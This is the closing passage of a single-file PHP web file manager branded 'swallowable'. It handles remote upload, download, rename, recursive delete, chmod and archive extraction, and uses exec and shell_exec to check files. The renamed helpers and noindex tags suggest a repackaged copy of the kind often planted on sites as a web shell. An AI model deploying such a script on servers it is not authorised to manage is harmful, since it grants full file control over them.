                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'swallowable<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="swallowable">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
